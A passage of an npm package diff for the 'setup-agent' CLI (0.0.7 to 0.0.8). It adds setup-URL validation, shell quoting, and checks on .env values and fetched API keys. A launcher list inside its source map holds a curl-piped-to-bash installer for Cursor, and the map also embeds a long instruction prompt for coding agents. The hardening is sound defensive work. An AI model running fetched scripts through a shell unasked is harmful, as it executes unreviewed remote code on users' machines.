setup-agent 0.0.7 → 0.0.8

package/dist/cli.d.ts

@@ -1,8 +1,15 @@
 import type { CheckoutClient } from "./client.js";
 import type { Checkout } from "./protocol.js";
 export declare const HELP: string;
-export declare const agentInstructions: (url: string) => string;
-export declare const INSTRUCTIONS: (url: string) => string;
+/**
+ * The normalized setup URL, or an error saying why it is refused. A setup URL
+ * is printed into shell commands and the coding agent's prompt, and the API
+ * key travels over it, so it must be https (http only on this machine), carry
+ * no credentials, query or fragment, and hold only address characters.
+ */
+export declare const parseSetupUrl: (value: string) => string;
+export declare const agentInstructions: (setupUrl: string) => string;
+export declare const INSTRUCTIONS: (setupUrl: string) => string;
 type Parsed = {
     positional: string[];
     flags: Map<string, string | true>;

package/dist/cli.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,cAAc,EAAE,oBAAiB;AA8B/C,OAAO,KAAK,EAAE,QAAQ,EAAE,sBAAmB;AAE3C,eAAO,MAAM,IAAI,QAgChB,CAAC;AAEF,eAAO,MAAM,iBAAiB,GAC5B,KAAK,MAAM,WA2CZ,CAAC;AAEF,eAAO,MAAM,YAAY,QA7ClB,MAAM,WA6CgC,CAAC;AAE9C,KAAK,MAAM,GAAG;IAAE,UAAU,EAAE,MAAM,EAAE,CAAC;IAAC,KAAK,EAAE,GAAG,CAAC,MAAM,EAAE,MAAM,GAAG,IAAI,CAAC,CAAA;CAAE,CAAC;AA6C1E,kGAAkG;AAClG,eAAO,MAAM,eAAe,GAAI,MAAK,MAAM,CAAC,UAAwB,uBACd,CAAC;AAyCvD,2GAA2G;AAC3G,eAAO,MAAM,kBAAkB,GAC7B,MAAK,MAAM,CAAC,UAAwB,EACpC,QAAO;IAAE,KAAK,CAAC,EAAE,OAAO,GAAG,SAAS,CAAA;CAAkB,EACtD,SAAQ;IAAE,KAAK,CAAC,EAAE,OAAO,GAAG,SAAS,CAAA;CAAmB,YAInC,CAAC;AA0FxB,KAAK,WAAW,GACZ;IAAE,KAAK,EAAE,kBAAkB,CAAA;CAAE,GAC7B;IAAE,KAAK,EAAE,iBAAiB,CAAC;IAAC,SAAS,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,GAC7D;IACE,KAAK,EAAE,gBAAgB,CAAC;IACxB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,MAAM,CAAC;IACf,qEAAqE;IACrE,MAAM,EAAE,MAAM,GAAG,MAAM,EAAE,CAAC;IAC1B,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,2GAA2G;IAC3G,MAAM,CAAC,EAAE,IAAI,CAAC;CACf,GACD;IAAE,KAAK,EAAE,iBAAiB,CAAC;IAAC,OAAO,EAAE,MAAM,CAAC;IAAC,MAAM,EAAE,MAAM,CAAA;CAAE,GAC7D;IAAE,KAAK,EAAE,eAAe,CAAC;IAAC,QAAQ,EAAE,MAAM,CAAA;CAAE,GAC5C;IAAE,KAAK,EAAE,wBAAwB,CAAC;IAAC,QAAQ,EAAE,MAAM,CAAC;IAAC,QAAQ,EAAE,MAAM,CAAA;CAAE,GACvE;IAAE,KAAK,EAAE,UAAU,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,GACnC;IAAE,KAAK,EAAE,WAAW,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,GACpC;IAAE,KAAK,EAAE,eAAe,CAAC;IAAC,QAAQ,EAAE,MAAM,EAAE,CAAA;CAAE,CAAC;AAKnD,eAAO,MAAM,UAAU,GACrB,QAAQ,QAAQ,CAAC,KAAK,EACtB,OAAO,QAAQ,CAAC,KAAK,KACpB,WAAW,EAqEb,CAAC;AA4CF,2LAA2L;AAC3L,eAAO,MAAM,YAAY,GACvB,QAAQ,IAAI,CAAC,cAAc,EAAE,OAAO,GAAG,WAAW,CAAC,6BAiBjD,CAAC;AAwDL,eAAO,MAAM,OAAO,GAClB,MAAM,SAAS,MAAM,EAAE,EACvB,OAAO,MAAM,CAAC,OAAO,CAAC,KACrB,QAAQ,CAAC,SAAS,GAAG;IAAE,MAAM,CAAC,EAAE,MAAM,CAAA;CA+HxC,CAAC;AAQF,+EAA+E;AAC/E,eAAO,MAAM,aAAa,GAAI,SAAS,MAAM,EAAE,KAAK,MAAM,EAAE,OAAO,MAAM,WAWxE,CAAC;AAEF;;;;;GAKG;AACH,eAAO,MAAM,cAAc,GACzB,MAAM,MAAM,EACZ,KAAK,MAAM,EACX,MAAM,MAAM,OAAO,CAAC,MAAM,CAAC,EAC3B,oBAA2B,kBAoD5B,CAAC;AAyHF,eAAO,MAAM,IAAI,GAAU,MAAM,SAAS,MAAM,EAAE,uBA8OjD,CAAC"}
+{"version":3,"file":"cli.d.ts","sourceRoot":"","sources":["../src/cli.ts"],"names":[],"mappings":"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"}

package/dist/cli.js

@@ -1,6 +1,6 @@
 import { connectCheckout } from "./client.js";
 import { INPUT_PRESETS, isPresetId, presetInput } from "./presets.js";
-import { AGENT_HEARTBEAT_MS, OPTION_ICONS, classifyChoiceAnswer, currentPlan, isAgentPresent, isClosed, isOptionIcon, isValidModelAnswer, parseEntryPointOptions, parseMultipleAnswer, stepProgress } from "./protocol.js";
+import { AGENT_HEARTBEAT_MS, OPTION_ICONS, classifyChoiceAnswer, currentPlan, isAgentPresent, isClosed, isLoopbackHostname, isOptionIcon, isValidModelAnswer, parseEntryPointOptions, parseMultipleAnswer, stepProgress } from "./protocol.js";
 import { spawn } from "node:child_process";
 import { createHash, randomBytes } from "node:crypto";
 import { constants } from "node:fs";
@@ -42,7 +42,33 @@ Commands (the url always comes first):
   done [--summary <text>] [--preview <url>]
                                     Mark every remaining step done and propose closing; the user closes it.
 `;
-const agentInstructions = (url) => `You are the coding agent for a setup the user opened in their browser. The browser shows this setup live; every command below updates it. The user watches the browser, not this terminal: once setup begins, send questions through "ask" so the user can answer in their browser.
+/** Characters a setup URL may hold: an origin and a path, nothing a shell or a reader treats as more than an address. */
+const SETUP_URL_PATTERN = /^https?:\/\/[A-Za-z0-9.-]+(?::[0-9]+)?(?:\/[A-Za-z0-9._~%/-]*)?$|^http:\/\/\[::1\](?::[0-9]+)?(?:\/[A-Za-z0-9._~%/-]*)?$/;
+/**
+* The normalized setup URL, or an error saying why it is refused. A setup URL
+* is printed into shell commands and the coding agent's prompt, and the API
+* key travels over it, so it must be https (http only on this machine), carry
+* no credentials, query or fragment, and hold only address characters.
+*/
+const parseSetupUrl = (value) => {
+	let url;
+	try {
+		url = new URL(value);
+	} catch {
+		throw new Error(`"${value}" is not a URL`);
+	}
+	if (url.protocol !== "https:" && !(url.protocol === "http:" && isLoopbackHostname(url.hostname))) throw new Error("the setup URL must use https (http only on localhost)");
+	if (url.username !== "" || url.password !== "") throw new Error("the setup URL must not carry credentials");
+	if (url.search !== "" || url.hash !== "" || value.includes("?") || value.includes("#")) throw new Error("the setup URL must not have a query or fragment");
+	const href = url.href.replace(/\/$/, "");
+	if (!SETUP_URL_PATTERN.test(href)) throw new Error("the setup URL has characters a setup URL does not use");
+	return href;
+};
+/** `value` as one shell word, quoted only when it holds more than plain URL characters. */
+const shellWord = (value) => /^[A-Za-z0-9._~%/:@=+,-]+$/.test(value) ? value : `'${value.replaceAll("'", `'\\''`)}'`;
+const agentInstructions = (setupUrl) => {
+	const url = shellWord(setupUrl);
+	return `You are the coding agent for a setup the user opened in their browser. The browser shows this setup live; every command below updates it. The user watches the browser, not this terminal: once setup begins, send questions through "ask" so the user can answer in their browser.
 
 First, start a persistent Monitor on
   npx setup-agent ${url} stream
@@ -85,6 +111,7 @@ Before that, start the project's dev server in the background when the project h
   npx setup-agent ${url} wait start
 which returns once that setup begins, then run "status" for its products, guides and instructions and go through plan and install again. A "setup.created" event while you are still working means the user replaced this setup: drop what you were doing and start over the same way.
 `;
+};
 const INSTRUCTIONS = agentInstructions;
 const parseArgs = (argv) => {
 	const positional = [];
@@ -184,7 +211,7 @@ const chooseLauncher = async () => {
 };
 const launchAgent = async (url) => {
 	const launcher = await chooseLauncher();
-	const prompt = `Run \`npx setup-agent ${url}\` and follow the instructions it prints.`;
+	const prompt = `Run \`npx setup-agent ${shellWord(url)}\` and follow the instructions it prints.`;
 	process.stdout.write(`\nStarting ${launcher.name}...\n\n`);
 	const child = spawn(launcher.command, launcher.args(prompt), { stdio: "inherit" });
 	const code = await new Promise((resolve) => {
@@ -488,6 +515,8 @@ const assertEnvKey = (key) => {
 /** Sets `key=value` in dotenv text, replacing an existing line for the key. */
 const upsertEnvLine = (content, key, value) => {
 	assertEnvKey(key);
+	const isLineBreaking = (code) => code < 32 || code >= 127 && code <= 159 || code === 8232 || code === 8233;
+	if ([...value].some((char) => isLineBreaking(char.charCodeAt(0)))) throw new Error(`the value for ${key} must be a single line`);
 	const line = `${key}=${value}`;
 	const lines = content === "" ? [] : content.replace(/\n$/, "").split("\n");
 	const index = lines.findIndex((entry) => /^(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)\s*=/.exec(entry)?.[1] === key);
@@ -523,8 +552,9 @@ const writeEnvSecret = async (file, key, take, projectRoot = process.cwd()) => {
 		await handle.chmod(384);
 		const value = await take();
 		const current = await handle.readFile("utf8");
+		const next = upsertEnvLine(current, key, value);
 		await handle.truncate(0);
-		await handle.writeFile(upsertEnvLine(current, key, value));
+		await handle.writeFile(next);
 	} finally {
 		await handle.close();
 	}
@@ -610,7 +640,12 @@ const main = async (argv) => {
 		process.stdout.write(HELP);
 		return process.exit(first === void 0 ? 1 : 0);
 	}
-	const url = first;
+	let url;
+	try {
+		url = parseSetupUrl(first);
+	} catch (error) {
+		return fail(error instanceof Error ? error.message : String(error));
+	}
 	if (command === "intro" && isDirectInvocation()) return launchAgent(url);
 	const client = await connectCheckout(url).catch((error) => fail(error instanceof Error ? error.message : String(error)));
 	const commands = client.commands;
@@ -739,11 +774,15 @@ const main = async (argv) => {
 				if (input.redeemKeyHash !== void 0 && storedKey === void 0) fail(`no local redeem key for "${inputId}"`);
 				const file = resolve(flagText(flags, "file") ?? ".env.local");
 				await writeEnvSecret(file, envKey, async () => {
+					const secretUrl = new URL(url);
+					if (secretUrl.protocol !== "https:" && !(secretUrl.protocol === "http:" && isLoopbackHostname(secretUrl.hostname))) fail("the key is only fetched over https");
 					const response = await fetch(`${url.replace(/\/$/, "")}/secret/${encodeURIComponent(inputId)}?setup=${encodeURIComponent(setupId)}`, storedKey === void 0 ? void 0 : { headers: { "Setup-Agent-Redeem-Key": storedKey.key } });
 					if (response.status === 403) fail(`redeem key rejected for "${inputId}"`);
 					if (response.status === 404) fail(`the key for "${inputId}" was already taken or never deposited`);
 					if (!response.ok) fail(`could not fetch the key: ${response.status}`);
-					return response.text();
+					const key = await response.text();
+					if (!/^[A-Za-z0-9._~+/=:@%,-]+$/.test(key)) fail("the deposited key is not a valid API key");
+					return key;
 				});
 				if (storedKey !== void 0) await unlink(storedKey.file).catch((error) => {
 					if (error.code !== "ENOENT") process.stderr.write(`warning: could not remove a redeem key: ${error.message}\n`);
@@ -789,6 +828,6 @@ const main = async (argv) => {
 		client.dispose();
 	}
 };
-export { HELP, INSTRUCTIONS, agentInstructions, askSeed, detectAgentKind, diffEvents, isDirectInvocation, main, upsertEnvLine, waitForStart, writeEnvSecret };
+export { HELP, INSTRUCTIONS, agentInstructions, askSeed, detectAgentKind, diffEvents, isDirectInvocation, main, parseSetupUrl, upsertEnvLine, waitForStart, writeEnvSecret };
 
 //# sourceMappingURL=cli.js.map

package/dist/cli.js.map

@@ -1 +1 @@
-{"version":3,"file":"cli.js","names":[],"sources":["../src/cli.ts"],"sourcesContent":["import { connectCheckout } from \"./client\";\nimport type { CheckoutClient } from \"./client\";\nimport { INPUT_PRESETS, isPresetId, presetInput } from \"./presets\";\nimport { spawn } from \"node:child_process\";\nimport { createHash, randomBytes } from \"node:crypto\";\nimport { constants } from \"node:fs\";\nimport {\n  chmod,\n  lstat,\n  mkdir,\n  open,\n  readFile,\n  realpath,\n  unlink,\n} from \"node:fs/promises\";\nimport { homedir, tmpdir, userInfo } from \"node:os\";\nimport { createInterface } from \"node:readline/promises\";\nimport { dirname, isAbsolute, join, relative, resolve, sep } from \"node:path\";\nimport {\n  AGENT_HEARTBEAT_MS,\n  OPTION_ICONS,\n  classifyChoiceAnswer,\n  currentPlan,\n  isAgentPresent,\n  isClosed,\n  isOptionIcon,\n  isValidModelAnswer,\n  parseEntryPointOptions,\n  parseMultipleAnswer,\n  stepProgress,\n} from \"./protocol\";\nimport type { Checkout } from \"./protocol\";\n\nexport const HELP = `setup-agent <url> [command]\n\nCommands (the url always comes first):\n  status                            Print the setup as JSON.\n  stream                            Follow the setup: one JSON array of events per line.\n  log <text>                        Send a message to the user: a reply, something no question or step conveys, or one wrap-up when finished.\n  ack <message-id>                  Acknowledge a user message.\n  ask <prompt> [--placeholder <text>] [--optional] [--step <step-id>] [--wait]\n                                    Ask the user for a line of text.\n  ask [prompt] --preset <framework|llm-provider> [--only <id,id>] [--choices <id=description,...>] [--default <id>] [--optional] [--step <step-id>] [--wait]\n                                    Ask a standard question. --only restricts the options and leaves out --choices (one id locks it in); --default preselects one.\n                                    \"framework\" answers \"<framework>:<language>\"; \"llm-provider\" answers JSON with provider, model and reasoningEffort; the key itself arrives through \"env\".\n  ask <prompt> --choices <id,id,...> --icons <id=icon,...> [--single] [--default <id>] [--optional] [--step <step-id>] [--wait]\n                                    Ask the user to pick from your own options; they may also type their own answer.\n                                    The user checks any number of options and the answer is a JSON array of option ids (their own text is one entry).\n                                    --single is for options that exclude each other (one framework, one model, yes or no); the answer is then one id.\n                                    --icons is required and names an icon for every option, from: ${OPTION_ICONS.join(\", \")}.\n  ask <prompt> --entry-points '<JSON array>' [--default <id>] [--optional] [--step <step-id>] [--wait]\n                                    Ask where users should access the assistant. Each of 1–3 options has id, label, description and entryPoint {formFactor: modal|sidebar|full-page, placement, trigger, recommended?}. Answers one option id.\n  wait start                        Block until the user clicks Begin plan in their browser; after a finished or cancelled setup, until the next one begins.\n  wait <input-id>                   Block until the user answers or dismisses an input. A multi-select answer prints as an array.\n  plan (<markdown> | --file <path>) [--wait]\n                                    Propose the plan for the user to approve. --wait blocks until they decide.\n  wait plan                         Block until the user approves the plan or asks for changes.\n  env <input-id> <ENV_VAR> [--file <path>]\n                                    Write the API key behind an answered llm-provider input to an env file (default .env.local) as ENV_VAR=<key>, without printing it.\n  add-step <title> [--detail <text>] [--product <slug>] [--active]\n                                    Declare a step of the install (after the plan is approved). Prints its id.\n  step <step-id> <status> [--note <text>]\n                                    Set a step to pending|active|done|skipped|blocked.\n  done [--summary <text>] [--preview <url>]\n                                    Mark every remaining step done and propose closing; the user closes it.\n`;\n\nexport const agentInstructions = (\n  url: string,\n) => `You are the coding agent for a setup the user opened in their browser. The browser shows this setup live; every command below updates it. The user watches the browser, not this terminal: once setup begins, send questions through \"ask\" so the user can answer in their browser.\n\nFirst, start a persistent Monitor on\n  npx setup-agent ${url} stream\nand keep it running: the browser shows you as connected only while it runs, and it is how answers reach you. The URL is the user's link to you from their browser, not one setup: it outlives this one, and their next setup arrives on the same stream. Each line is a JSON array of events: \"planning.started\", \"input.answered\" ({inputId, answer, note?}; answer is an array for a choice question not asked with --single), \"input.dismissed\", \"plan.approved\", \"plan.changes-requested\" ({feedback}), \"message.created\" ({messageId, text}), \"finished\", \"cancelled\", \"setup.created\" ({products}).\n\nThe user can message you at any time, including while a question is waiting. Read \"message.created\" events, acknowledge each with \"npx setup-agent ${url} ack <message-id>\", and reply using \"log\" with what you will do. Pending messages are replayed when the stream starts and listed in \"status\". A message is not an answer or plan approval; keep those decisions explicit.\n\n\"log\" is a message to the user, and the user reads every one: send it only to reply to their message, to tell them something no question or step conveys (a blocker, a deviation from the plan, a decision you made for them), or once as a wrap-up when the install is finished. Findings go in the plan, progress in step notes, questions in \"ask\"; do not narrate.\n\nBefore planning, check the current setup status. If it is \"waiting\", tell the user in your own conversation: \"I'm connected. Go back to your browser and click Begin plan. You can watch my progress, answer questions, and steer me there.\" Then run:\n  npx setup-agent ${url} wait start\nKeep the stream running while you wait. Do not inspect the project, fetch guides, ask setup questions, or propose a plan until this command returns {\"ok\":true}. Only the user in the browser should start planning; never invoke the browser's start command yourself. \"planning.started\" also arrives on the stream. If the status is already \"planning\" or \"installing\", resume that phase without asking the user to begin again. If it is \"done\" or \"cancelled\", that setup is over: tell the user you are connected and waiting for their next setup, and run \"wait start\", which returns once the next one begins.\n\nThe remaining phases are plan, then install.\n\n1. Plan. Investigate only; change nothing yet. If the current directory is not an app to install into (a monorepo root, an empty folder, a library), ask where to install first:\n  npx setup-agent ${url} ask \"Which project should I install into?\" --placeholder \"An absolute path to the app\" --wait\nRead the project: its app framework and package manager, the agent framework and model provider it already uses, where components live, any existing chat route. Fetch each product's \"guide\" URL from the setup below; it is the install reference. Ask for what the project does not decide, using the standard questions so the browser can render them well:\n  npx setup-agent ${url} ask --preset framework\n  npx setup-agent ${url} ask --preset llm-provider\nThe setup's products are starting names and guide references. Explore each product's setup instructions, then discover and plan any other relevant products or dependencies the app needs. Read /catalog.md on the guide URL’s origin to find related products and fetch their setup guides. The starting list does not restrict the implementation or require adding another product to the list. Include relevant additions in the plan for approval.\nWhen the setup puts an assistant in the app, ask how users should access it after discovering the actual app and before proposing the plan. Skip this question when no product's guide installs an assistant (a standalone library or service setup, for example). Use an entry-point question with only 1–3 sensible alternatives. Describe the actual app's pages, workflow and component placement, not generic placeholder copy. Recommend one clear fit when there is one; two options may use the same form factor in different places. Each option needs a stable id, label, contextual description and entryPoint {\"formFactor\":\"modal\"|\"sidebar\"|\"full-page\",\"placement\":\"where it appears\",\"trigger\":\"how users open it or navigate to it\",\"recommended\":true?}. Write the JSON array for this app and send it with:\n  npx setup-agent ${url} ask \"Where should users access the assistant?\" --entry-points '<JSON array>' --wait\nMark a clear fit with \"recommended\":true rather than --default, so the user makes the pick. When you ask it, do not submit the plan before the user picks an entry point. Respect the selected placement and trigger in the plan and implementation. Do not ask for a new-versus-existing app setting; discover the app from its files and ask only for an install path when needed.\nSkip a preset the code already answers (a chat route on the AI SDK, a provider key in .env.local) and log why. Ask everything at once, keep investigating, and block with \"wait <input-id>\" only when nothing else can proceed. A framework answer is \"<framework>:<language>\", for example \"ai-sdk:typescript\". A model answer is JSON {\"provider\",\"model\",\"reasoningEffort\"?}. An answer may carry a \"note\" from the user; follow it. A choice answer that matches none of the options is the user's own text.\nThen write the plan as markdown and submit it:\n  npx setup-agent ${url} plan --file <path> --wait\nUse these headings, each with bullets: \"## What I found\" (facts as \\`- **Label:** value\\`: app framework, package manager, agent framework, model provider and model, where components live), \"## What I will install\" (packages and files, one per bullet), \"## Steps\" (a numbered list, one line each), and \"## Open questions\" only if any remain. Keep it under 30 lines; no preamble. \"plan --wait\" prints {\"decision\":\"approve\"} or {\"decision\":\"revise\",\"feedback\":\"...\"}. On revise, address the feedback (ask again if you need to) and submit a new plan; repeat until approved. Do not change the project before approval: the setup refuses steps until then.\n\n2. Install. Declare the steps from your plan up front, in order:\n  npx setup-agent ${url} add-step \"<title>\" --detail \"<one line>\"\nwhich prints the step id. Then work through them: \"step <id> active\" before, \"step <id> done --note '<one line on what you did>'\" after; \"skipped\" when the step is already satisfied, \"blocked\" when you cannot continue, saying why in --note. Add steps as the work reveals them. Ask when you need another decision or value (--choices for a pick, plain for text; --optional when you can proceed without an answer; --wait only when the answer is the very next thing you need). A choice question is multi-select: the user checks any number of your options, and the answer is an array of the ids they checked, plus their own text as an entry when they typed one. Pass --single only when the options exclude each other (one framework, one model, yes or no); the answer is then one id. Every option must carry an icon, given as --icons \"<id>=<icon>,...\" with the closest name from this pack: ${OPTION_ICONS.join(\", \")}. A question without an icon for each option is refused. Open inputs the user has not answered are listed under \"inputs\" in \"status\"; check them before asking again.\nThe API key behind a model answer is not in the answer and you never see it: pick the variable name the provider's SDK reads (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and run\n  npx setup-agent ${url} env <input-id> <ENV_VAR> --file .env.local\nwhich writes ENV_VAR=<key> into that file. Use the answer's model in the chat route and map reasoningEffort onto the provider's setting when it is set. Never invent a key or a model name.\n\nWhen every product is installed and verified, run\n  npx setup-agent ${url} done --summary \"<one or two lines on what you installed and how to try it>\" --preview http://localhost:<port>\nBefore that, start the project's dev server in the background when the project has one, check that the page you changed loads, and pass the address as --preview (the page itself when it is not the root); leave the server running so the user can try the result. Omit --preview when there is nothing to open. This proposes closing the setup; only the user closes it. Do not stop the stream or exit: stay idle on it, because the user may follow up with a \"message.created\" event. Handle it, then run \"done\" again. The stream prints \"finished\" once the user closes the setup, and \"cancelled\" if they end it early. Keep the stream running after either: the user's next setup starts on this same URL and arrives as \"setup.created\" with its products. Run\n  npx setup-agent ${url} wait start\nwhich returns once that setup begins, then run \"status\" for its products, guides and instructions and go through plan and install again. A \"setup.created\" event while you are still working means the user replaced this setup: drop what you were doing and start over the same way.\n`;\n\nexport const INSTRUCTIONS = agentInstructions;\n\ntype Parsed = { positional: string[]; flags: Map<string, string | true> };\n\nconst parseArgs = (argv: readonly string[]): Parsed => {\n  const positional: string[] = [];\n  const flags = new Map<string, string | true>();\n  for (let i = 0; i < argv.length; i++) {\n    const arg = argv[i]!;\n    if (!arg.startsWith(\"--\")) {\n      positional.push(arg);\n      continue;\n    }\n    const name = arg.slice(2);\n    const next = argv[i + 1];\n    if (next !== undefined && !next.startsWith(\"--\")) {\n      flags.set(name, next);\n      i++;\n    } else {\n      flags.set(name, true);\n    }\n  }\n  return { positional, flags };\n};\n\nconst flagText = (flags: Parsed[\"flags\"], name: string) => {\n  const value = flags.get(name);\n  return typeof value === \"string\" ? value : undefined;\n};\n\nconst fail = (message: string): never => {\n  process.stderr.write(`setup-agent: ${message}\\n`);\n  return process.exit(1);\n};\n\nconst print = (value: unknown) => {\n  process.stdout.write(`${JSON.stringify(value)}\\n`);\n};\n\nconst AGENT_ENV: readonly [kind: string, variable: string][] = [\n  [\"claude\", \"CLAUDECODE\"],\n  [\"codex\", \"CODEX_SANDBOX\"],\n  [\"codex\", \"CODEX_SANDBOX_NETWORK_DISABLED\"],\n  [\"cursor\", \"CURSOR_AGENT\"],\n  [\"gemini\", \"GEMINI_CLI\"],\n];\n\n/** The coding agent this process runs under, from the variables each one exports to its shell. */\nexport const detectAgentKind = (env: NodeJS.ProcessEnv = process.env) =>\n  AGENT_ENV.find(([, variable]) => env[variable])?.[0];\n\ntype Launcher = {\n  kind: string;\n  name: string;\n  command: string;\n  args: (prompt: string) => string[];\n  install: string;\n};\n\nconst LAUNCHERS: Launcher[] = [\n  {\n    kind: \"claude\",\n    name: \"Claude Code\",\n    command: \"claude\",\n    args: (prompt) => [prompt],\n    install: \"npm install -g @anthropic-ai/claude-code\",\n  },\n  {\n    kind: \"codex\",\n    name: \"Codex\",\n    command: \"codex\",\n    args: (prompt) => [prompt],\n    install: \"npm install -g @openai/codex\",\n  },\n  {\n    kind: \"cursor\",\n    name: \"Cursor\",\n    command: \"agent\",\n    args: (prompt) => [prompt],\n    install: \"curl https://cursor.com/install -fsS | bash\",\n  },\n  {\n    kind: \"gemini\",\n    name: \"Gemini CLI\",\n    command: \"gemini\",\n    args: (prompt) => [\"-i\", prompt],\n    install: \"npm install -g @google/gemini-cli\",\n  },\n];\n\n/** True when a person typed the command into a terminal rather than an agent running it from its shell. */\nexport const isDirectInvocation = (\n  env: NodeJS.ProcessEnv = process.env,\n  stdin: { isTTY?: boolean | undefined } = process.stdin,\n  stdout: { isTTY?: boolean | undefined } = process.stdout,\n) =>\n  detectAgentKind(env) === undefined &&\n  stdin.isTTY === true &&\n  stdout.isTTY === true;\n\nconst chooseLauncher = async () => {\n  const rl = createInterface({ input: process.stdin, output: process.stdout });\n  try {\n    process.stdout.write(\n      \"This command is meant for a coding agent, and none is running here.\\nStart one to do the install:\\n\",\n    );\n    LAUNCHERS.forEach((launcher, index) => {\n      process.stdout.write(`  ${index + 1}. ${launcher.name}\\n`);\n    });\n    while (true) {\n      const answer = (\n        await rl.question(\"Choose [1]: \").catch(() => process.exit(1))\n      ).trim();\n      if (answer === \"\") return LAUNCHERS[0]!;\n      const byNumber = LAUNCHERS[Number(answer) - 1];\n      if (byNumber) return byNumber;\n      const byName = LAUNCHERS.find(\n        (launcher) =>\n          launcher.kind === answer.toLowerCase() ||\n          launcher.name.toLowerCase() === answer.toLowerCase(),\n      );\n      if (byName) return byName;\n      process.stdout.write(\"Enter a number from the list.\\n\");\n    }\n  } finally {\n    rl.close();\n  }\n};\n\nconst launchAgent = async (url: string) => {\n  const launcher = await chooseLauncher();\n  const prompt = `Run \\`npx setup-agent ${url}\\` and follow the instructions it prints.`;\n  process.stdout.write(`\\nStarting ${launcher.name}...\\n\\n`);\n  const child = spawn(launcher.command, launcher.args(prompt), {\n    stdio: \"inherit\",\n  });\n  const code = await new Promise<number>((resolve) => {\n    child.on(\"error\", (error: NodeJS.ErrnoException) => {\n      if (error.code === \"ENOENT\") {\n        process.stderr.write(\n          `${launcher.name} is not installed. Install it with:\\n  ${launcher.install}\\nthen run this command again.\\n`,\n        );\n      } else {\n        process.stderr.write(`${error.message}\\n`);\n      }\n      resolve(1);\n    });\n    child.on(\"exit\", (status) => resolve(status ?? 1));\n  });\n  process.exit(code);\n};\n\nconst requireState = (client: CheckoutClient): Checkout.State =>\n  client.state ?? fail(\"the setup has no state\");\n\nconst summary = (state: Checkout.State) => {\n  const plan = currentPlan(state);\n  return {\n    status: state.status,\n    agentConnected: isAgentPresent(state),\n    products: state.products,\n    instructions: state.instructions,\n    plan:\n      plan === undefined\n        